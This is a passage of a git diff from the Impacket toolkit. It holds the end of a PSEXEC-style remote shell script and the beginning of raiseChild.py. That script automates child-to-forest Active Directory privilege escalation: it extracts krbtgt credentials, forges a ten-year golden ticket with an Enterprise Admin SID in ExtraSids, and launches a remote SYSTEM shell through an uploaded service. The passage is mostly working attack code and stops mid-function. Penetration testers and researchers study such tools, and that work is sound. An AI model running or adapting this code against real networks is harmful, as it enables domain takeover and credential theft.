+                                __stdoutOutputBuffer += stdout_ans
+
+                        promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'
+
+                        endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
+                        if endsWithPrompt:
+                            # All data, we shouldn't have encoding errors
+                            # Adding a space after the prompt because it's beautiful
+                            __stdoutData = __stdoutOutputBuffer + " "
+                            # Remainder data for next iteration
+                            __stdoutOutputBuffer = ""
+
+                        elif '\n' in __stdoutOutputBuffer:
+                            # We have read a line, print buffer if it is not empty
+                            lines = __stdoutOutputBuffer.split("\n")
+                            # All lines, we shouldn't have encoding errors
+                            __stdoutData = "\n".join(lines[:-1]) + "\n"
+                            # Remainder data for next iteration
+                            __stdoutOutputBuffer = lines[-1]
+
+                        if len(__stdoutData) != 0:
+                            # There is data to print
+                            sys.stdout.write(__stdoutData.decode(CODEC))
+                            sys.stdout.flush()
+                            __stdoutData = ""
+                        else:
+                            # Don't echo the command that was sent, and clear it up
+                            LastDataSent = ""
+                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
+                        # it will give false positives tho.. we should find a better way to handle this.
+                        # if LastDataSent > 10:
+                        #     LastDataSent = ''
+                    except Exception as e:
+                        pass
+
+
+class RemoteStdErrPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions):
+        Pipes.__init__(self, transport, pipe, permisssions)
+
+    def run(self):
+        self.connectPipe()
+
+        if PY3:
+            __stderrOutputBuffer, __stderrData = b'', b''
+
+            while True:
+                try:
+                    stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
+                except:
+                    pass
+                else:
+                    try:
+                        if len(stderr_ans) != 0:
+                            # Append new data to the buffer while there is data to read
+                            __stderrOutputBuffer += stderr_ans
+
+                        if b'\n' in __stderrOutputBuffer:
+                            # We have read a line, print buffer if it is not empty
+                            lines = __stderrOutputBuffer.split(b"\n")
+                            # All lines, we shouldn't have encoding errors
+                            __stderrData = b"\n".join(lines[:-1]) + b"\n"
+                            # Remainder data for next iteration
+                            __stderrOutputBuffer = lines[-1]
+
+                        if len(__stderrData) != 0:
+                            # There is data to print
+                            try:
+                                sys.stdout.write(__stderrData.decode(CODEC))
+                                sys.stdout.flush()
+                                __stderrData = b""
+                            except UnicodeDecodeError:
+                                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
+                                              'again with -codec and the corresponding codec')
+                                print(__stderrData.decode(CODEC, errors='replace'))
+                                __stderrData = b""
+                        else:
+                            # Don't echo the command that was sent, and clear it up
+                            LastDataSent = b""
+                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
+                        # it will give false positives tho.. we should find a better way to handle this.
+                        # if LastDataSent > 10:
+                        #     LastDataSent = ''
+                    except Exception as e:
+                        pass
+        else:
+            __stderrOutputBuffer, __stderrData = '', ''
+
+            while True:
+                try:
+                    stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
+                except:
+                    pass
+                else:
+                    try:
+                        if len(stderr_ans) != 0:
+                            # Append new data to the buffer while there is data to read
+                            __stderrOutputBuffer += stderr_ans
+
+                        if '\n' in __stderrOutputBuffer:
+                            # We have read a line, print buffer if it is not empty
+                            lines = __stderrOutputBuffer.split("\n")
+                            # All lines, we shouldn't have encoding errors
+                            __stderrData = "\n".join(lines[:-1]) + "\n"
+                            # Remainder data for next iteration
+                            __stderrOutputBuffer = lines[-1]
+
+                        if len(__stderrData) != 0:
+                            # There is data to print
+                            sys.stdout.write(__stderrData.decode(CODEC))
+                            sys.stdout.flush()
+                            __stderrData = ""
+                        else:
+                            # Don't echo the command that was sent, and clear it up
+                            LastDataSent = ""
+                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
+                        # it will give false positives tho.. we should find a better way to handle this.
+                        # if LastDataSent > 10:
+                        #     LastDataSent = ''
+                    except:
+                        pass
+
+
+class RemoteShell(cmd.Cmd):
+    def __init__(self, server, port, credentials, tid, fid, share, transport):
+        cmd.Cmd.__init__(self, False)
+        self.prompt = '\x08'
+        self.server = server
+        self.transferClient = None
+        self.tid = tid
+        self.fid = fid
+        self.credentials = credentials
+        self.share = share
+        self.port = port
+        self.transport = transport
+        self.intro = '[!] Press help for extra shell commands'
+
+    def connect_transferClient(self):
+        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
+        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
+                                            preferredDialect=dialect)
+        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
+        if self.transport.get_kerberos() is True:
+            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
+                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
+        else:
+            self.transferClient.login(user, passwd, domain, lm, nt)
+
+    def do_help(self, line):
+        print("""
+ lcd {path}                 - changes the current local directory to {path}
+ exit                       - terminates the server process (and this session)
+ lput {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
+ lget {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir
+ ! {cmd}                    - executes a local shell cmd
+""" % (self.share, self.share))
+        self.send_data('\r\n', False)
+
+    def do_shell(self, s):
+        os.system(s)
+        self.send_data('\r\n')
+
+    def do_lget(self, src_path):
+        try:
+            if self.transferClient is None:
+                self.connect_transferClient()
+
+            import ntpath
+            filename = ntpath.basename(src_path)
+            fh = open(filename,'wb')
+            logging.info("Downloading %s\\%s" % (self.share, src_path))
+            self.transferClient.getFile(self.share, src_path, fh.write)
+            fh.close()
+        except Exception as e:
+            logging.critical(str(e))
+            pass
+
+        self.send_data('\r\n')
+
+    def do_lput(self, s):
+        try:
+            if self.transferClient is None:
+                self.connect_transferClient()
+            params = s.split(' ')
+            if len(params) > 1:
+                src_path = params[0]
+                dst_path = params[1]
+            elif len(params) == 1:
+                src_path = params[0]
+                dst_path = '/'
+
+            src_file = os.path.basename(src_path)
+            fh = open(src_path, 'rb')
+            f = dst_path + '/' + src_file
+            pathname = f.replace('/','\\')
+            logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
+            if PY3:
+                self.transferClient.putFile(self.share, pathname, fh.read)
+            else:
+                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
+            fh.close()
+        except Exception as e:
+            logging.error(str(e))
+            pass
+
+        self.send_data('\r\n')
+
+    def do_lcd(self, s):
+        if s == '':
+            print(os.getcwd())
+        else:
+            os.chdir(s)
+        self.send_data('\r\n')
+
+    def emptyline(self):
+        self.send_data('\r\n')
+        return
+
+    def default(self, line):
+        if PY3:
+            self.send_data(line.encode(CODEC)+b'\r\n')
+        else:
+            self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n')
+
+    def send_data(self, data, hideOutput = True):
+        if hideOutput is True:
+            global LastDataSent
+            LastDataSent = data
+        else:
+            LastDataSent = ''
+        self.server.writeFile(self.tid, self.fid, data)
+
+class RemoteStdInPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions, share=None):
+        self.shell = None
+        Pipes.__init__(self, transport, pipe, permisssions, share)
+
+    def run(self):
+        self.connectPipe()
+        self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
+        self.shell.cmdloop()
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at '
+                                                                  'the target (w/o path) - (default:cmd.exe)')
+    parser.add_argument('-c', action='store',metavar = "pathname",  help='copy the filename for later execution, '
+                                                                         'arguments are passed in the command option')
+    parser.add_argument('-path', action='store', help='path of the command to execute')
+    parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
+    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '
+                          'again with -codec and the corresponding codec ' % CODEC)
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+    group.add_argument('-service-name', action='store', metavar="service_name", default = '', help='The name of the service'
+                                                                                ' used to trigger the payload')
+    group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will '
+                                                            'be the name of the executable uploaded on the target')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.codec is not None:
+        CODEC = options.codec
+    else:
+        if CODEC is None:
+            CODEC = 'utf-8'
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if options.keytab is not None:
+        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
+        options.k = True
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    command = ' '.join(options.command)
+    if command == ' ':
+        command = 'cmd.exe'
+
+    executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,
+                      options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name)
+    executer.run(remoteName, options.target_ip)
diff --git a/examples/raiseChild.py b/examples/raiseChild.py
new file mode 100644
index 0000000..2133dbb
--- /dev/null
+++ b/examples/raiseChild.py
@@ -0,0 +1,1330 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script implements a child-domain to forest privilege escalation
+#   as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will
+#   be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented
+#   by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz).
+#   The idea of automating all these tasks came from @mubix.
+#
+#   The workflow is as follows:
+#       Input:
+#           1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
+#              The domain specified MUST be the domain FQDN.
+#           2) Optionally a pathname to save the generated golden ticket (-w switch)
+#           3) Optionally a target-user RID to get credentials (-targetRID switch)
+#              Administrator by default.
+#           4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).
+#              Enterprise Admin by default.
+#
+#       Process:
+#           1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
+#           2) Find out what the forest FQDN is (via [MS-NRPC])
+#           3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
+#           4) Get the child domain's krbtgt credentials (via [MS-DRSR])
+#           5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
+#              and setting expiration 10 years from now
+#           6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)
+#           7) If file was specified, save the golden ticket in ccache format
+#           8) If target was specified, a PSEXEC shell is launched
+#
+#       Output:
+#           1) Target user credentials (Forest's krbtgt/admin credentials by default)
+#           2) A golden ticket saved in ccache for future fun and profit
+#           3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec
+#              parameter.
+#
+#   IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the
+#                   forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar
+#
+#   E.G:
+#   Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx):
+#     A forest is the only component of the Active Directory logical structure that is a security boundary.
+#     By contrast, a domain is not a security boundary because it is not possible for administrators from one domain
+#     to prevent a malicious administrator from another domain within the forest from accessing data in their domain.
+#     A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers.
+#     In addition, each domain has its own individual security policies and trust relationships with other domains.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import datetime
+import logging
+import random
+import string
+import sys
+import os
+import cmd
+import time
+from threading import Thread, Lock
+from binascii import unhexlify, hexlify
+from socket import gethostbyname
+from struct import unpack
+from six import PY3
+
+try:
+    import pyasn1
+except ImportError:
+     logging.critical('This module needs pyasn1 installed')
+     logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
+     sys.exit(1)
+from impacket import version
+from impacket.krb5.types import Principal, KerberosTime
+from impacket.krb5 import constants
+from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
+from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart
+from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype
+from impacket.dcerpc.v5.ndr import NDRULONG
+from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.ntlm import LMOWFv1, NTOWFv1
+from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
+from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
+from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
+from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
+    PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
+    PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO
+from impacket.dcerpc.v5 import transport, drsuapi, epm, samr
+from impacket.smbconnection import SessionError
+from impacket.nt_errors import STATUS_NO_LOGON_SERVERS
+from impacket.smbconnection import SMBConnection, smb
+from impacket.structure import Structure
+from impacket.examples import remcomsvc, serviceinstall
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+
+class RemComMessage(Structure):
+    structure = (
+        ('Command','4096s=""'),
+        ('WorkingDir','260s=""'),
+        ('Priority','<L=0x20'),
+        ('ProcessID','<L=0x01'),
+        ('Machine','260s=""'),
+        ('NoWait','<L=0'),
+    )
+
+class RemComResponse(Structure):
+    structure = (
+        ('ErrorCode','<L=0'),
+        ('ReturnCode','<L=0'),
+    )
+
+RemComSTDOUT         = "RemCom_stdout"
+RemComSTDIN          = "RemCom_stdin"
+RemComSTDERR         = "RemCom_stderr"
+
+lock = Lock()
+
+class PSEXEC:
+    def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
+        self.__username = username
+        self.__command = command
+        self.__path = None
+        self.__domain = domain
+        self.__exeFile = None
+        self.__copyFile = copyFile
+        self.__TGS = TGS
+        self.__smbConnection = smbConnection
+
+    def run(self, addr):
+        rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
+        dce = rpctransport.get_dce_rpc()
+        try:
+            dce.connect()
+        except Exception as e:
+            logging.critical(str(e))
+            sys.exit(1)
+
+        global dialect
+        dialect = rpctransport.get_smb_connection().getDialect()
+
+        try:
+            unInstalled = False
+            s = rpctransport.get_smb_connection()
+
+            # We don't wanna deal with timeouts from now on.
+            s.setTimeout(100000)
+            if self.__exeFile is None:
+                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
+            else:
+                try:
+                    f = open(self.__exeFile, 'rb')
+                except Exception as e:
+                    logging.critical(str(e))
+                    sys.exit(1)
+                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
+    
+            installService.install()
+
+            if self.__exeFile is not None:
+                f.close()
+
+            # Check if we need to copy a file for execution
+            if self.__copyFile is not None:
+                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
+                # And we change the command to be executed to this filename
+                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
+
+            tid = s.connectTree('IPC$')
+            fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
+
+            packet = RemComMessage()
+            pid = os.getpid()
+
+            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
+            if self.__path is not None:
+                packet['WorkingDir'] = self.__path
+            packet['Command'] = self.__command
+            packet['ProcessID'] = pid
+
+            s.writeNamedPipe(tid, fid_main, packet.getData())
+
+            # Here we'll store the command we type so we don't print it back ;)
+            # ( I know.. globals are nasty :P )
+            global LastDataSent
+            LastDataSent = ''
+
+            # Create the pipes threads
+            stdin_pipe = RemoteStdInPipe(rpctransport,
+                                         r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
+                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
+                                         installService.getShare())
+            stdin_pipe.start()
+            stdout_pipe = RemoteStdOutPipe(rpctransport,
+                                           r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
+                                           smb.FILE_READ_DATA)
+            stdout_pipe.start()
+            stderr_pipe = RemoteStdErrPipe(rpctransport,
+                                           r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
+                                           smb.FILE_READ_DATA)
+            stderr_pipe.start()
+            
+            # And we stay here till the end
+            ans = s.readNamedPipe(tid,fid_main,8)
+
+            if len(ans):
+                retCode = RemComResponse(ans)
+                logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
+                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
+            installService.uninstall()
+            if self.__copyFile is not None:
+                # We copied a file for execution, let's remove it
+                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
+            unInstalled = True
+            sys.exit(retCode['ErrorCode'])
+
+        except SystemExit:
+            raise
+        except Exception as e:
+            logging.debug(str(e))
+            if unInstalled is False:
+                installService.uninstall()
+                if self.__copyFile is not None:
+                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
+            sys.stdout.flush()
+            sys.exit(1)
+
+    def openPipe(self, s, tid, pipe, accessMask):
+        pipeReady = False
+        tries = 50
+        while pipeReady is False and tries > 0:
+            try:
+                s.waitNamedPipe(tid,pipe)
+                pipeReady = True
+            except:
+                tries -= 1
+                time.sleep(2)
+                pass
+
+        if tries == 0:
+            raise Exception('Pipe not ready, aborting')
+
+        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
+
+        return fid
+
+class Pipes(Thread):
+    def __init__(self, transport, pipe, permissions, TGS=None, share=None):
+        Thread.__init__(self)
+        self.server = 0
+        self.transport = transport
+        self.credentials = transport.get_credentials()
+        self.tid = 0
+        self.fid = 0
+        self.share = share
+        self.port = transport.get_dport()
+        self.pipe = pipe
+        self.permissions = permissions
+        self.TGS = TGS
+        self.daemon = True
+
+    def connectPipe(self):
+        try:
+            lock.acquire()
+            global dialect
+            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
+                                        sess_port=self.port, preferredDialect=dialect)
+            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
+            self.server.login(user, passwd, domain, lm, nt)
+            lock.release()
+            self.tid = self.server.connectTree('IPC$') 
+
+            self.server.waitNamedPipe(self.tid, self.pipe)
+            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
+            self.server.setTimeout(1000000)
+        except Exception:
+            logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
+
+class RemoteStdOutPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions):
+        Pipes.__init__(self, transport, pipe, permisssions)
+
+    def run(self):
+        self.connectPipe()
+        while True:
+            try:
+                ans = self.server.readFile(self.tid,self.fid, 0, 1024)
+            except:
+                pass
+            else:
+                try:
+                    global LastDataSent
+                    if ans != LastDataSent:
+                        sys.stdout.write(ans.decode('cp437'))
+                        sys.stdout.flush()
+                    else:
+                        # Don't echo what I sent, and clear it up
+                        LastDataSent = ''
+                    # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
+                    # it will give false positives tho.. we should find a better way to handle this.
+                    if LastDataSent > 10:
+                        LastDataSent = ''
+                except:
+                    pass
+
+class RemoteStdErrPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions):
+        Pipes.__init__(self, transport, pipe, permisssions)
+
+    def run(self):
+        self.connectPipe()
+        while True:
+            try:
+                ans = self.server.readFile(self.tid,self.fid, 0, 1024)
+            except:
+                pass
+            else:
+                try:
+                    sys.stderr.write(str(ans))
+                    sys.stderr.flush()
+                except:
+                    pass
+
+class RemoteShell(cmd.Cmd):
+    def __init__(self, server, port, credentials, tid, fid, TGS, share):
+        cmd.Cmd.__init__(self, False)
+        self.prompt = '\x08'
+        self.server = server
+        self.transferClient = None
+        self.tid = tid
+        self.fid = fid
+        self.credentials = credentials
+        self.share = share
+        self.port = port
+        self.TGS = TGS
+        self.intro = '[!] Press help for extra shell commands'
+
+    def connect_transferClient(self):
+        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
+                                            preferredDialect=dialect)
+        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
+        self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
+
+    def do_help(self, line):
+        print("""
+ lcd {path}                 - changes the current local directory to {path}
+ exit                       - terminates the server process (and this session)
+ put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
+ get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
+ ! {cmd}                    - executes a local shell cmd
+""" % (self.share, self.share))
+        self.send_data('\r\n', False)
+
+    def do_shell(self, s):
+        os.system(s)
+        self.send_data('\r\n')
+
+    def do_get(self, src_path):
+        try:
+            if self.transferClient is None:
+                self.connect_transferClient()
+
+            import ntpath
+            filename = ntpath.basename(src_path)
+            fh = open(filename,'wb')
+            logging.info("Downloading %s\\%s" % (self.share, src_path))
+            self.transferClient.getFile(self.share, src_path, fh.write)
+            fh.close()
+        except Exception as e:
+            logging.error(str(e))
+            pass
+
+        self.send_data('\r\n')
+ 
+    def do_put(self, s):
+        try:
+            if self.transferClient is None:
+                self.connect_transferClient()
+            params = s.split(' ')
+            if len(params) > 1:
+                src_path = params[0]
+                dst_path = params[1]
+            elif len(params) == 1:
+                src_path = params[0]
+                dst_path = '/'
+
+            src_file = os.path.basename(src_path)
+            fh = open(src_path, 'rb')
+            f = dst_path + '/' + src_file
+            pathname = f.replace('/','\\')
+            logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
+            if PY3:
+                self.transferClient.putFile(self.share, pathname, fh.read)
+            else:
+                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
+            fh.close()
+        except Exception as e:
+            logging.error(str(e))
+            pass
+
+        self.send_data('\r\n')
+
+
+    def do_lcd(self, s):
+        if s == '':
+            print(os.getcwd())
+        else:
+            try:
+                os.chdir(s)
+            except Exception as e:
+                logging.error(str(e))
+        self.send_data('\r\n')
+
+    def emptyline(self):
+        self.send_data('\r\n')
+        return
+
+    def default(self, line):
+        if PY3:
+            self.send_data(line.encode('cp437')+b'\r\n')
+        else:
+            self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
+
+    def send_data(self, data, hideOutput = True):
+        if hideOutput is True:
+            global LastDataSent
+            LastDataSent = data
+        else:
+            LastDataSent = ''
+        self.server.writeFile(self.tid, self.fid, data)
+
+class RemoteStdInPipe(Pipes):
+    def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
+        Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
+
+    def run(self):
+        self.connectPipe()
+        shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
+        shell.cmdloop()
+
+class RAISECHILD:
+    def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''):
+        self.__rid = 0
+        self.__targetRID = options.targetRID
+        self.__target = target
+        self.__kdcHost = None
+        self.__command = command
+        self.__writeTGT = options.w
+        self.__domainSid = ''
+        self.__doKerberos = options.k
+        self.__drsr = None
+        self.__ppartialAttrSet = None
+        self.__creds = {}
+
+        self.__creds['username'] = username
+        self.__creds['password'] = password
+        self.__creds['domain'] = domain
+        self.__creds['lmhash'] = ''
+        self.__creds['nthash'] = ''
+        self.__creds['aesKey'] = options.aesKey
+        self.__creds['TGT'] =  None
+        self.__creds['TGS'] =  None
+
+        #if options.dc_ip is not None:
+        #    self.__kdcHost = options.dc_ip
+        #else:
+        #    self.__kdcHost = domain
+        self.__kdcHost = None
+
+        if options.hashes is not None:
+            lmhash, nthash = options.hashes.split(':')
+            self.__creds['lmhash'] = unhexlify(lmhash)
+            self.__creds['nthash'] = unhexlify(nthash)
+
+        # Transform IP addresses into FQDNs
+        if self.__target is not None:
+            self.__target = self.getDNSMachineName(self.__target)
+            logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target))
+
+    NAME_TO_ATTRTYP = {
+        'objectSid': 0x90092,
+        'userPrincipalName': 0x90290,
+        'sAMAccountName': 0x900DD,
+        'unicodePwd': 0x9005A,
+        'dBCSPwd': 0x90037,
+        'supplementalCredentials': 0x9007D,
+    }
+
+    ATTRTYP_TO_ATTID = {
+        'objectSid': '1.2.840.113556.1.4.146',
+        'userPrincipalName': '1.2.840.113556.1.4.656',
+        'sAMAccountName': '1.2.840.113556.1.4.221',
+        'unicodePwd': '1.2.840.113556.1.4.90',
+        'dBCSPwd': '1.2.840.113556.1.4.55',
+        'supplementalCredentials': '1.2.840.113556.1.4.125',
+    }
+
+    KERBEROS_TYPE = {
+        1:'dec-cbc-crc',
+        3:'des-cbc-md5',
+        17:'aes128-cts-hmac-sha1-96',
+        18:'aes256-cts-hmac-sha1-96',
+        0xffffff74:'rc4_hmac',
+    }
+
+    HMAC_SHA1_96_AES256 = 0x10
+
+    def getChildInfo(self, creds):
+        logging.debug('Calling NRPC DsrGetDcNameEx()')
+        target = creds['domain']
+        if self.__doKerberos is True:
+            # In Kerberos we need the target's name
+            machineNameOrIp = self.getDNSMachineName(gethostbyname(target))
+            logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp))
+        else:
+            machineNameOrIp = target
+
+        stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
+                                         creds['nthash'], creds['aesKey'])
+            if self.__doKerberos or creds['aesKey'] is not None:
+                rpctransport.set_kerberos(True)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(MSRPC_UUID_NRPC)
+
+        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
+        #resp.dump()
+        return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1]
+
+    @staticmethod
+    def getMachineName(machineIP):
+        try:
+            s = SMBConnection(machineIP, machineIP)
+            s.login('', '')
+        except OSError as e:
+            if str(e).find('timed out') > 0:
+                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
+                                'corresponding NetBIOS name or FQDN instead of IP address')
+            else:
+                raise
+        except SessionError as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
